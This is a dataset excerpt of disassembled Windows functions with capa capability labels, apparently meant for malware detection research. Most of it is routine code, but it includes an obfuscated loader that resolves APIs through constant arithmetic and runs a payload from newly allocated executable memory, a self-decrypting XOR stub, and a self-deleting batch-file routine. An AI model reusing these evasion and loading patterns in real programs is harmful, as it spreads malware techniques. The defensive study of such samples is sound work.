joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4035ad
Capabilities:
Query environment variable

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
mov edi, dword [sym.imp.KERNEL32.dll_GetEnvironmentVariableW]
push 1
lea eax, [ebp - 4]
push eax
push dword [ebp + 0xc]
call edi
mov esi, dword [ebp + 8]
mov ecx, esi
mov ebx, eax
call fcn.0040159b
lea eax, [ebx + 2]
push eax
mov ecx, esi
mov dword [ebp + 8], eax
call fcn.00402ada
inc ebx
push ebx
push dword [ebp + 8]
mov ecx, esi
call fcn.00402ada
push eax
push dword [ebp + 0xc]
call edi
mov edi, dword [esi]
push edi
call fcn.004011c4
and word [edi + eax*2], 0
pop ecx
mov dword [esi + 4], eax
pop edi
mov eax, esi
pop esi
pop ebx
leave
ret

Function at 0x4036b7
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x250
push esi
mov esi, dword [ebp + 8]
push esi
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
jne 0x4036d4
xor eax, eax
jmp 0x40372d
test al, 0x10
je 0x4036e5
push 0x10
call dword [sym.imp.KERNEL32.dll_SetLastError]
or eax, 0xffffffff
jmp 0x40372d
mov eax, dword [0x41e9cc]
test eax, eax
jne 0x4036f7
push esi
call fcn.0040368a
pop ecx
jmp 0x40372d
cmp eax, 2
jne 0x40372a
lea eax, [ebp - 0x250]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_FindFirstFileW]
cmp eax, 0xffffffff
je 0x4036ee
push eax
call dword [sym.imp.KERNEL32.dll_FindClose]
push dword [ebp + 0xc]
lea eax, [ebp - 0x23c]
push eax
call dword [sym.imp.KERNEL32.dll_CompareFileTime]
test eax, eax
jl 0x4036ee
xor eax, eax
inc eax
pop esi
leave
ret
Function at 0x403a21
Capabilities:
Get file attributes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
push ebx
push esi
push edi
mov edi, dword [ebp + 8]
push edi
call dword [sym.imp.KERNEL32.dll_lstrlenW]
push edi
lea ecx, [ebp - 0x18]
mov ebx, eax
mov dword [ebp - 4], eax
call fcn.00402aa1
xor esi, esi
cmp dword [ebp - 0x10], esi
jg 0x403a52
push esi
lea ecx, [ebp - 0x18]
call fcn.004011f7
movzx eax, word [edi + ebx*2 - 2]
cmp ax, 0x5c
mov edi, dword [ebp - 0x18]
je 0x403a66
cmp ax, 0x2f
jne 0x403a6f
mov word [edi + ebx*2 - 2], si
dec ebx
mov dword [ebp - 4], ebx
mov esi, ebx
jmp 0x403a95
movzx eax, word [edi + esi*2]
cmp ax, 0x2f
je 0x403a88
cmp ax, 0x5c
je 0x403a88
dec esi
test esi, esi
jg 0x403a73
test esi, esi
je 0x403b44
and word [edi + esi*2], 0
push edi
call fcn.00401ea5
test eax, eax
pop ecx
je 0x403a84
lea eax, [ebp - 0xc]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemTimeAsFileTime]
push edi
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
test al, 0x10
jne 0x403acc
lea eax, [ebp - 0xc]
push eax
push edi
call fcn.004036b7
test eax, eax
pop ecx
pop ecx
je 0x403acc
xor esi, esi
jmp 0x403b69
push edi
call fcn.00401ea5
test eax, eax
pop ecx
jne 0x403ae6
push edi
push 0xc
push 1
call fcn.00409358
add esp, 0xc
jmp 0x403ac5
cmp esi, ebx
jge 0x403b38
mov eax, dword [ebp - 4]
sub eax, esi
inc eax
push eax
mov eax, dword [ebp + 8]
lea eax, [eax + esi*2]
push eax
lea ebx, [edi + esi*2]
push ebx
call sub.MSVCRT.dll_memcpy
xor ecx, ecx
add esp, 0xc
cmp word [ebx], cx
je 0x403b1e
jmp 0x403b1d
movzx eax, word [edi + esi*2]
cmp ax, 0x5c
je 0x403b24
cmp ax, 0x2f
je 0x403b24
inc esi
cmp word [edi + esi*2], cx
jne 0x403b0d
push edi
mov word [edi + esi*2], cx
call fcn.00401ea5
test eax, eax
pop ecx
je 0x403ad7
cmp esi, dword [ebp - 4]
jl 0x403aea
push edi
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
xor eax, eax
pop ecx
inc eax
jmp 0x403b89
cmp ebx, 2
mov ecx, dword [ebp + 8]
jne 0x403b74
mov ax, word [ecx]
or ax, 0x20
cmp ax, 0x61
jb 0x403b74
cmp ax, 0x7a
ja 0x403b74
cmp word [ecx + 2], 0x3a
jne 0x403b74
xor esi, esi
inc esi
push edi
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
pop ecx
mov eax, esi
jmp 0x403b89
push ecx
push 0xc
push 1
call fcn.00409358
push edi
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
add esp, 0x10
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x404885
Capabilities:
Check if file exists
Get common file path
Get file attributes

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
mov esi, dword [ebp + 8]
push edi
mov ecx, esi
call fcn.0040159b
push 2
mov ecx, esi
call fcn.00402ada
mov edi, dword [sym.imp.KERNEL32.dll_GetTempPathW]
push eax
push 1
call edi
mov ecx, dword [esi]
and word [ecx], 0
and dword [esi + 4], 0
test eax, eax
jbe 0x4048d8
lea ebx, [eax + 1]
push ebx
mov ecx, esi
call fcn.00402ada
push eax
push ebx
call edi
mov edi, dword [esi]
push edi
call fcn.004011c4
and word [edi + eax*2], 0
pop ecx
mov dword [esi + 4], eax
mov eax, dword [esi + 4]
and dword [ebp + 8], 0
lea ecx, [eax + 0xf]
mov dword [ebp - 4], ecx
lea ebx, [eax + eax]
push dword [ebp - 4]
mov ecx, esi
call fcn.00402ada
push dword [ebp + 8]
add eax, ebx
push dword [ebp + 0xc]
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
mov edi, dword [esi]
push edi
call fcn.004011c4
and word [edi + eax*2], 0
add esp, 0x10
push dword [esi]
mov dword [esi + 4], eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x40492d
inc dword [ebp + 8]
cmp dword [ebp + 8], 0xfff
jl 0x4048e8
pop edi
mov eax, esi
pop esi
pop ebx
leave
ret

Function at 0x404934
Capabilities:
Set environment variable

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push esi
xor esi, esi
cmp dword [0x41e3e4], esi
jle 0x404988
mov eax, dword [0x41e3e8]
mov eax, dword [eax + esi*4]
add eax, 0xc
push eax
lea ecx, [ebp - 0xc]
call fcn.00401477
lea eax, [ebp - 0xc]
push eax
call fcn.0040451c
mov eax, dword [0x41e3e8]
mov eax, dword [eax + esi*4]
pop ecx
push dword [ebp - 0xc]
push dword [eax]
call dword [sym.imp.KERNEL32.dll_SetEnvironmentVariableW]
push dword [ebp - 0xc]
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
inc esi
cmp esi, dword [0x41e3e4]
pop ecx
jl 0x404945
pop esi
leave
ret
Function at 0x404c39
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2a4
push ebx
push esi
push edi
call dword [sym.imp.COMCTL32.dll_InitCommonControls]
call fcn.00418c10
call fcn.00402461
push 3
call fcn.004024b7
push 0x28
mov dword [0x41e9b8], eax
call fcn.004024b7
push 2
mov dword [0x41e9b4], eax
call fcn.004024b7
push 5
mov dword [0x41e9b0], eax
call fcn.004024b7
push 0x15
mov dword [0x41e9ac], eax
call fcn.004024b7
push 0x16
mov dword [0x41e9a8], eax
call fcn.004024b7
push 0x17
mov dword [0x41e9a4], eax
call fcn.004024b7
add esp, 0x1c
xor ebx, ebx
mov dword [0x41e9a0], eax
mov dword [0x41e998], ebx
mov dword [0x41e99c], ebx
mov edi, 0x41e3dc
xor esi, esi
push esi
push ebx
lea eax, [ebp - 0x2a4]
push eax
push esi
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathW]
test eax, eax
je 0x404d68
push ebx
lea eax, [ebp - 0x98]
push 0x41b800
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0xc
lea ecx, [ebp - 0x18]
call fcn.0040159b
lea ecx, [ebp - 0xc]
call fcn.0040159b
lea eax, [ebp - 0x98]
push eax
lea ecx, [ebp - 0x18]
call fcn.004014a9
lea eax, [ebp - 0x2a4]
push eax
lea ecx, [ebp - 0xc]
call fcn.004014a9
lea eax, [ebp - 0x18]
push eax
mov ecx, edi
call fcn.00403609
cmp dword [esi + 0x41e3b4], ebx
jne 0x404d58
push dword [esi + 0x41e3b8]
lea ecx, [ebp - 0x18]
call fcn.004014a9
lea eax, [ebp - 0x2a4]
push eax
lea ecx, [ebp - 0xc]
call fcn.004014a9
lea eax, [ebp - 0x18]
push eax
mov ecx, edi
call fcn.00403609
add esi, 8
cmp esi, 0x28
jb 0x404d28
lea ecx, [ebp - 0x18]
call fcn.004029ca
inc ebx
cmp ebx, 0x40
jl 0x404cbf
pop edi
pop esi
pop ebx
leave
ret
Function at 0x4052dd
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x54
push ebx
push esi
push edi
lea ecx, [ebp - 0xc]
call fcn.0040159b
lea ecx, [ebp - 0x18]
call fcn.0040159b
push 0x3c
pop esi
push esi
xor edi, edi
lea eax, [ebp - 0x54]
push edi
push eax
call sub.MSVCRT.dll_memset
mov eax, dword [ebp + 0x10]
xor ebx, ebx
inc ebx
add esp, 0xc
test byte [ebp + 0xc], bl
mov dword [ebp - 0x54], esi
mov dword [ebp - 0x3c], eax
mov dword [ebp - 0x50], 0x740
mov dword [ebp - 0x38], ebx
je 0x40532e
mov dword [ebp - 0x38], edi
mov dword [ebp - 0x50], 0x8740
test byte [ebp + 0xc], 2
je 0x40533b
mov dword [ebp - 0x48], str.runas
lea eax, [ebp - 0xc]
push eax
push dword [ebp + 8]
call fcn.00404dcd
pop ecx
pop ecx
push eax
lea ecx, [ebp - 0x18]
call fcn.004014a9
cmp dword [ebp - 8], edi
jne 0x405370
push dword [ebp - 0x18]
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
push dword [ebp - 0xc]
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
pop ecx
pop ecx
pop edi
pop esi
mov eax, ebx
pop ebx
leave
ret
mov esi, dword [ebp - 0xc]
mov edi, dword [ebp - 0x18]
lea eax, [ebp - 0x54]
push eax
mov dword [ebp - 0x44], esi
mov dword [ebp - 0x40], edi
call dword [sym.imp.SHELL32.dll_ShellExecuteExW]
test eax, eax
je 0x4053b0
test dword [ebp + 0xc], 0x10000
jne 0x40539e
push 0xffffffffffffffff
push dword [ebp - 0x1c]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push dword [ebp - 0x1c]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push edi
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
push esi
jmp 0x405362
xor ebx, ebx
jmp 0x4053a7
Function at 0x40567a
Capabilities:
Create process on windows
Get disk information
Self delete
Set file attributes
Write and execute a file
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x34
push ebx
push esi
mov esi, dword [ebp + 8]
cmp word [esi + 2], 0x3a
jne 0x40582c
movzx eax, word [esi + 4]
cmp ax, 0x5c
je 0x4056a4
cmp ax, 0x2f
jne 0x40582c
mov ax, word [esi]
mov word [ebp - 0x10], ax
lea eax, [ebp - 0x10]
xor ebx, ebx
push eax
mov word [ebp - 0xe], 0x3a
mov word [ebp - 0xc], 0x5c
mov word [ebp - 0xa], bx
call dword [sym.imp.KERNEL32.dll_GetDriveTypeW]
cmp eax, 3
jne 0x40582c
lea eax, [ebp - 0x28]
push str.7ZSfx_03x.cmd
push eax
call fcn.00404885
pop ecx
pop ecx
push ebx
push 0x80
push 2
push ebx
push ebx
push 0x40000000
push dword [ebp - 0x28]
call dword [sym.imp.KERNEL32.dll_CreateFileW]
cmp eax, 0xffffffff
mov dword [ebp - 4], eax
je 0x4057f6
push edi
lea ecx, [ebp - 0x1c]
call fcn.0040159b
push str.:Repeat_r_n
lea ecx, [ebp - 0x1c]
call fcn.004014a9
mov edi, str.del__
push edi
lea ecx, [ebp - 0x1c]
call fcn.00402af2
lea eax, [ebp + 8]
push eax
lea ecx, [ebp - 0x1c]
call fcn.00401562
mov esi, 0x41b904
push esi
lea ecx, [ebp - 0x1c]
call fcn.00402af2
push str.if_exist__
lea ecx, [ebp - 0x1c]
call fcn.00402af2
lea eax, [ebp + 8]
push eax
lea ecx, [ebp - 0x1c]
call fcn.00401562
push str.__goto_Repeat_r_n
lea ecx, [ebp - 0x1c]
call fcn.00402af2
push edi
lea ecx, [ebp - 0x1c]
call fcn.00402af2
lea eax, [ebp - 0x28]
push eax
lea ecx, [ebp - 0x1c]
call fcn.00401562
push esi
lea ecx, [ebp - 0x1c]
call fcn.00402af2
mov esi, dword [ebp - 0x18]
push 1
lea eax, [ebp - 0x1c]
push eax
lea eax, [ebp - 0x34]
push eax
call fcn.00402e50
mov eax, dword [eax]
add esp, 0xc
push ebx
lea ecx, [ebp - 8]
push ecx
push esi
push eax
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_WriteFile]
push dword [ebp - 0x34]
mov esi, eax
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
pop ecx
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
cmp esi, ebx
pop edi
je 0x405807
mov eax, dword [ebp - 8]
cmp eax, dword [ebp - 0x18]
jne 0x405807
push ebx
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
push ebx
push ebx
push ebx
push dword [ebp - 0x28]
push str.open
push ebx
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
push dword [ebp - 0x1c]
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
mov esi, dword [ebp + 8]
pop ecx
push dword [ebp - 0x28]
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
push esi
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
pop ecx
jmp 0x405832
push dword [ebp - 0x28]
call fcn.00403323
push dword [ebp - 0x1c]
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
push dword [ebp - 0x28]
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
push dword [ebp + 8]
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
add esp, 0x10
jmp 0x405833
push esi
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
pop ecx
pop esi
pop ebx
leave
ret
Function at 0x4072d6
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push ecx
lea eax, [ebp - 4]
push eax
xor eax, eax
push eax
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push eax
push eax
call dword [sym.imp.MSVCRT.dll__beginthreadex]
mov ecx, dword [ebp + 8]
push eax
mov dword [ecx], eax
call fcn.00407289
add esp, 0x1c
leave
ret
Function at 0x408ef9
Capabilities:
Get common file path
Get file system object information

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x4d0
push esi
push edi
lea eax, [ebp - 0x10]
push eax
mov edi, 0x4b6
push edi
mov esi, ecx
call fcn.0040768e
mov eax, dword [ebp - 4]
sub eax, dword [ebp - 0xc]
push 1
inc eax
inc eax
push edi
mov ecx, esi
mov dword [esi + 0x58], eax
call fcn.004076ab
push 1
inc edi
push edi
mov ecx, esi
call fcn.004076ab
push 0x104
lea eax, [ebp - 0x21c]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
push 0x103
push 0x2b4
lea eax, [ebp - 0x4d0]
push eax
push 0
lea eax, [ebp - 0x21c]
push eax
call dword [sym.imp.SHELL32.dll_SHGetFileInfoW]
mov eax, dword [ebp - 0x4d0]
push edi
push dword [esi + 4]
mov dword [esi + 0x50], eax
call dword [sym.imp.USER32.dll_GetDlgItem]
push 0x407cf4
push 0xfffffffffffffffc
push eax
call dword [sym.imp.USER32.dll_SetWindowLongW]
mov ecx, esi
mov dword [esi + 0x54], eax
call fcn.00408bc8
mov ecx, esi
mov edi, eax
call fcn.00408061
mov eax, edi
pop edi
pop esi
leave
ret
Function at 0x40a600
Capabilities:
Hash data using sha256

Disassembly:
mov eax, dword [esp + 4]
xor ecx, ecx
mov dword [eax], 0x6a09e667
mov dword [eax + 4], 0xbb67ae85
mov dword [eax + 8], 0x3c6ef372
mov dword [eax + 0xc], 0xa54ff53a
mov dword [eax + 0x10], 0x510e527f
mov dword [eax + 0x14], 0x9b05688c
mov dword [eax + 0x18], 0x1f83d9ab
mov dword [eax + 0x1c], 0x5be0cd19
mov dword [eax + 0x20], ecx
mov dword [eax + 0x24], ecx
ret
Function at 0x40ac30
Capabilities:
Hash data using sha256

Disassembly:
sub esp, 0x80
push ebx
mov ebx, ecx
mov ecx, dword [ebx]
cmp ecx, 0x3f
jne 0x40acad
xor eax, eax
cmp dword [ebx + 4], eax
jbe 0x40ac60
jmp 0x40ac50
mov cl, byte [ebx + eax + 8]
mov byte [ebx + eax + 0x24], cl
add eax, 1
cmp eax, dword [ebx + 4]
jb 0x40ac50
xor ecx, ecx
cmp dword [ebx + 0x1c], ecx
jbe 0x40ac85
cmp eax, 0x20
jae 0x40ae03
mov edx, dword [ebx + 0x20]
mov dl, byte [ecx + edx]
mov byte [eax + ebx + 0x24], dl
add ecx, 1
add eax, 1
cmp ecx, dword [ebx + 0x1c]
jb 0x40ac67
cmp eax, 0x20
jae 0x40ae03
mov ecx, 0x20
sub ecx, eax
push ecx
lea ebx, [eax + ebx + 0x24]
push 0
push ebx
call sub.MSVCRT.dll_memset
add esp, 0xc
pop ebx
add esp, 0x80
ret
push esi
xor esi, esi
lea eax, [esi + 1]
xor edx, edx
mov dword [esp + 0x20], 0x6a09e667
mov dword [esp + 0x24], 0xbb67ae85
mov dword [esp + 0x28], 0x3c6ef372
mov dword [esp + 0x2c], 0xa54ff53a
mov dword [esp + 0x30], 0x510e527f
mov dword [esp + 0x34], 0x9b05688c
mov dword [esp + 0x38], 0x1f83d9ab
mov dword [esp + 0x3c], 0x5be0cd19
mov dword [esp + 0x40], esi
mov dword [esp + 0x44], esi
call fcn.004190c0
cmp edx, esi
mov dword [esp + 0x18], eax
mov dword [esp + 0x1c], edx
mov byte [esp + 8], 0
mov byte [esp + 9], 0
mov byte [esp + 0xa], 0
mov byte [esp + 0xb], 0
mov byte [esp + 0xc], 0
mov byte [esp + 0xd], 0
mov byte [esp + 0xe], 0
mov byte [esp + 0xf], 0
mov dword [esp + 0x10], esi
mov dword [esp + 0x14], esi
jb 0x40adf1
ja 0x40ad4c
cmp eax, esi
jbe 0x40adf1
push ebp
push edi
mov edi, edi
mov eax, dword [ebx + 4]
push eax
lea eax, [ebx + 8]
push eax
lea edx, [esp + 0x30]
push edx
call fcn.0040a920
mov eax, dword [ebx + 0x1c]
push eax
mov eax, dword [ebx + 0x20]
push eax
lea eax, [esp + 0x3c]
push eax
call fcn.0040a920
mov esi, dword [esp + 0x60]
add esp, 0x18
mov ebp, 8
lea edi, [esp + 0x10]
and esi, 0x3f
mov cl, byte [edi]
mov byte [esp + esi + 0x50], cl
add esi, 1
add edi, 1
add dword [esp + 0x48], 1
adc dword [esp + 0x4c], 0
sub ebp, 1
cmp esi, 0x40
jne 0x40adb0
lea edx, [esp + 0x28]
xor esi, esi
call fcn.0040a860
test ebp, ebp
ja 0x40ad87
xor eax, eax
add byte [esp + eax + 0x10], 1
jne 0x40adc5
add eax, 1
cmp eax, 8
jl 0x40adb6
add dword [esp + 0x18], 1
mov eax, dword [esp + 0x1c]
adc eax, 0
cmp eax, dword [esp + 0x24]
mov dword [esp + 0x1c], eax
jb 0x40ad50
ja 0x40adef
mov edx, dword [esp + 0x20]
cmp dword [esp + 0x18], edx
jb 0x40ad50
pop edi
pop ebp
add ebx, 0x24
lea eax, [esp + 0x20]
push ebx
push eax
call fcn.0040a970
add esp, 8
pop esi
pop ebx
add esp, 0x80
ret

Function at 0x41200a
Capabilities:
Get file size

Disassembly:
push ebp
mov ebp, esp
push ecx
push esi
lea eax, [ebp - 4]
push eax
push dword [ecx]
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov esi, eax
cmp esi, 0xffffffff
jne 0x412030
call dword [sym.imp.KERNEL32.dll_GetLastError]
test eax, eax
je 0x412030
xor al, al
jmp 0x412050
push 1
push 0
push 0
push dword [ebp - 4]
call fcn.00419080
mov ecx, eax
xor eax, eax
add ecx, esi
adc edx, eax
mov eax, dword [ebp + 8]
mov dword [eax], ecx
mov dword [eax + 4], edx
mov al, 1
pop esi
leave
ret 4
Function at 0x418c10
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
xor edx, edx
mov eax, edx
and eax, 1
sub eax, 1
not eax
and eax, 0xedb88320
mov ecx, edx
shr ecx, 1
xor eax, ecx
mov ecx, eax
and ecx, 1
sub ecx, 1
not ecx
and ecx, 0xedb88320
shr eax, 1
xor ecx, eax
mov eax, ecx
and eax, 1
sub eax, 1
shr ecx, 1
not eax
and eax, 0xedb88320
xor eax, ecx
mov ecx, eax
and ecx, 1
sub ecx, 1
not ecx
and ecx, 0xedb88320
shr eax, 1
xor ecx, eax
mov eax, ecx
and eax, 1
sub eax, 1
shr ecx, 1
not eax
and eax, 0xedb88320
xor eax, ecx
mov ecx, eax
and ecx, 1
sub ecx, 1
not ecx
and ecx, 0xedb88320
shr eax, 1
xor ecx, eax
mov eax, ecx
and eax, 1
sub eax, 1
shr ecx, 1
not eax
and eax, 0xedb88320
xor eax, ecx
mov ecx, eax
and ecx, 1
sub ecx, 1
not ecx
and ecx, 0xedb88320
shr eax, 1
xor ecx, eax
mov dword [edx*4 + 0x420de0], ecx
add edx, 1
cmp edx, 0x100
jb 0x418c12
cmp edx, 0x800
jae 0x418cfb
mov edi, edi
mov eax, dword [edx*4 + 0x4209e0]
mov ecx, eax
and ecx, 0xff
shr eax, 8
xor eax, dword [ecx*4 + 0x420de0]
add edx, 1
cmp edx, 0x800
mov dword [edx*4 + 0x420ddc], eax
jb 0x418cd0
mov dword [0x420dbc], 0x4193b0
call fcn.00418e40
test eax, eax
jne 0x418d18
mov dword [0x420dbc], 0x4192d0
ret
Function at 0x401434
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x5c
pushal
call 0x401443
pop dword [ebp - 0x4c]
mov eax, 0xa9d93a6c
sub eax, 0xa9992629
sub dword [ebp - 0x4c], eax
mov dword [ebp - 0x5c], 0x394ac216
sub dword [ebp - 0x5c], 0xeaf87ccb
mov dword [ebp - 0x58], 0x72e7f37d
sub dword [ebp - 0x58], 0x40b4a738
mov dword [ebp - 0x54], 0xc237c2e2
sub dword [ebp - 0x54], 0x75eb7eb4
mov dword [ebp - 0x50], 0x3bd4171f
sub dword [ebp - 0x50], 0x3bd4171f
lea eax, [ebp - 0x5c]
push eax
mov eax, 0x1077ec99
sub eax, 0x10377b55
add eax, dword [ebp - 0x4c]
call dword [eax]
mov dword [ebp - 0x5c], 0xb97b42
add dword [ebp - 0x5c], 0x73b8ee14
mov dword [ebp - 0x58], 0x16557ad8
add dword [ebp - 0x58], 0x2b16e69d
mov dword [ebp - 0x54], 0xd3c37fc4
add dword [ebp - 0x54], 0x8fabeca8
mov dword [ebp - 0x50], 0x666399d9
add dword [ebp - 0x50], 0x999c6627
lea ebx, [ebp - 0x5c]
push ebx
push eax
mov eax, sym.imp.kernel32.dll_GetProcAddress
add eax, dword [ebp - 0x4c]
call dword [eax]
push 0x40
push 0x1000
push 0x35f69
push 0
call eax
mov ecx, 0x5e4d3608
add ecx, 0xa1b30971
mov edx, eax
mov ebx, 0x436000
add ebx, dword [ebp - 0x4c]
mov edi, 0x456f1b8f
sub edi, 0x4df99861
add dword [ebp - 0x1c], 0x80d300c0
mov esi, dword [ebx]
sub dword [ebp - 0x24], 0x10113930
add esi, edi
sub dword [ebp - 8], 0x7d74b651
mov dword [edx], esi
xor dword [ebp - 0x3c], 0x5c904c86
add edx, 4
add ebx, 0x23a6a1ee
sub ebx, 0x23a6a1ea
loop 0x40155a
add eax, 0x61da3e1
sub eax, 0x61cb32a
xor ebx, ebx
add ebx, eax
add eax, 5
mov ecx, 0x6da16a05
sub ecx, 0x6d616a05
add ecx, dword [ebp - 0x4c]
call ebx
leave
ret

Function at 0x402a69
Capabilities:
Delete registry key
Query or enumerate registry key

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10c
push ebx
push esi
lea eax, [ebp - 4]
push edi
push eax
mov eax, dword [0x424010]
or al, 8
xor ebx, ebx
push eax
push ebx
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
cmp eax, ebx
jne 0x402afd
mov esi, dword [sym.imp.ADVAPI32.dll_RegEnumKeyA]
mov edi, 0x105
jmp 0x402aba
cmp dword [ebp + 0x10], ebx
jne 0x402af1
lea eax, [ebp - 0x10c]
push ebx
push eax
push dword [ebp - 4]
call fcn.00401434
test eax, eax
jne 0x402acc
lea eax, [ebp - 0x10c]
push edi
push eax
push ebx
push dword [ebp - 4]
call esi
test eax, eax
je 0x402aa1
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push 4
call fcn.004060b1
cmp eax, ebx
je 0x402b04
push ebx
push dword [0x424010]
push dword [ebp + 0xc]
push dword [ebp + 8]
call eax
jmp 0x402afd
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor eax, eax
inc eax
pop edi
pop esi
pop ebx
leave
ret 0xc
cmp dword [0x424010], ebx
jne 0x402afa
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.ADVAPI32.dll_RegDeleteKeyA]
test eax, eax
jne 0x402afa
jmp 0x402afd
Function at 0x40db80
Capabilities:
Query environment variable

Disassembly:
push ebx
push esi
push edi
push ebp
push ecx
cmp dword [0x4143d8], 0
jne 0x40dc01
cmp dword [0x4143f8], 0
jne 0x40dbb0
call sub.KERNEL32.DLL_GetEnvironmentStrings
mov dword [0x4143f8], eax
test eax, eax
jne 0x40dbb0
push str.GetEnvironmentStrings_failed
call fcn.0040cbf0
pop ecx
xor ebp, ebp
xor esi, esi
mov ebx, dword [0x4143f8]
jmp 0x40dbc4
lea eax, [edi + 1]
inc esi
add ebp, eax
add ebx, eax
push ebx
call fcn.00406b08
pop ecx
mov edi, eax
test eax, eax
jne 0x40dbbc
lea edi, [ebp + 1]
push edi
call fcn.00405c3c
pop ecx
mov ebx, eax
mov dword [0x4143dc], ebx
test ebx, ebx
jne 0x40dbee
xor eax, eax
jmp 0x40dcc4
push edi
mov edx, dword [0x4143f8]
push edx
push ebx
call fcn.004069b8
add esp, 0xc
jmp 0x40dc21
xor esi, esi
mov ebx, dword [0x4143d8]
jmp 0x40dc1b
push eax
call fcn.00406b08
pop ecx
test eax, eax
jne 0x40dc17
dec esi
inc esi
add ebx, 4
mov eax, dword [ebx]
test eax, eax
jne 0x40dc0b
lea ebx, [esi + 4]
push 4
mov dword [0x4143e0], ebx
inc ebx
push ebx
call fcn.00405a3c
add esp, 8
test eax, eax
mov dword [esp], eax
jne 0x40dc44
xor eax, eax
jmp 0x40dcc4
cmp dword [0x4143d8], 0
jne 0x40dc75
xor esi, esi
mov ebx, dword [0x4143dc]
mov eax, dword [esp]
mov ebp, eax
jmp 0x40dc66
mov dword [ebp], ebx
add ebp, 4
inc esi
inc edi
add ebx, edi
push ebx
call fcn.00406b08
pop ecx
mov edi, eax
test eax, eax
jne 0x40dc5c
jmp 0x40dca6
xor esi, esi
mov ebx, dword [0x4143d8]
mov eax, dword [esp]
mov edi, eax
jmp 0x40dca0
push eax
call fcn.00406b08
pop ecx
test eax, eax
je 0x40dc95
mov eax, dword [ebx]
mov dword [edi], eax
jmp 0x40dc99
dec esi
add edi, 0xfffffffc
add edi, 4
inc esi
add ebx, 4
mov eax, dword [ebx]
test eax, eax
jne 0x40dc84
mov eax, dword [0x4143d8]
test eax, eax
je 0x40dcb6
push eax
call fcn.00405c4c
pop ecx
mov edx, dword [esp]
mov eax, 1
mov dword [0x4143d8], edx
pop edx
pop ebp
pop edi
pop esi
pop ebx
ret

Function at 0x8de080
Capabilities:
Encode data using xor

Disassembly:
pushal
call 0x8de086
pop ebp
sub ebp, 6
sub ebp, 0x4de080
jmp 0x8de0e4
add eax, 0x5b57d225
invalid
jmp 0x8de0ed
mov eax, 0x4de080
add eax, ebp
add eax, 0x93
mov ecx, 0x629
mov edx, 0x59a6e861
xor byte [eax], dl
inc eax
dec ecx
jne 0x8de104
jmp 0x8de117
or esp, dword [ecx]
or dword [ecx + 0x71], esp
popal
popal
or dword [ecx - 0x53], esp
dec ebp
popal
loopne 0x8de0b6
jae 0x8de150
push esi
mov byte [0x297391e0], al
push esi
mov byte [0x9e31a152], al
hlt
popal
popal
popal
xchg esi, eax
and dword [edx - 0x57], 0xffffffea
loopne 0x8de1c7
popal
popal
popal
bound esp, qword [ecx + esi + 0x6857e209]
popal
or dword [edx + 0x606125c8], ebx
dec ebp
inc ebp
or dword [ecx + 0x61], esp
popal
popal
mov dword [ecx + 0x61], esp
popal
mov byte [ecx + 0x61], cl
popal
popal
xor al, 0xea
invalid
adc al, 0x6d
sahf
adc al, 0x69
mov dword [ebx], edx
popal
popal
popal
ljmp 0x5261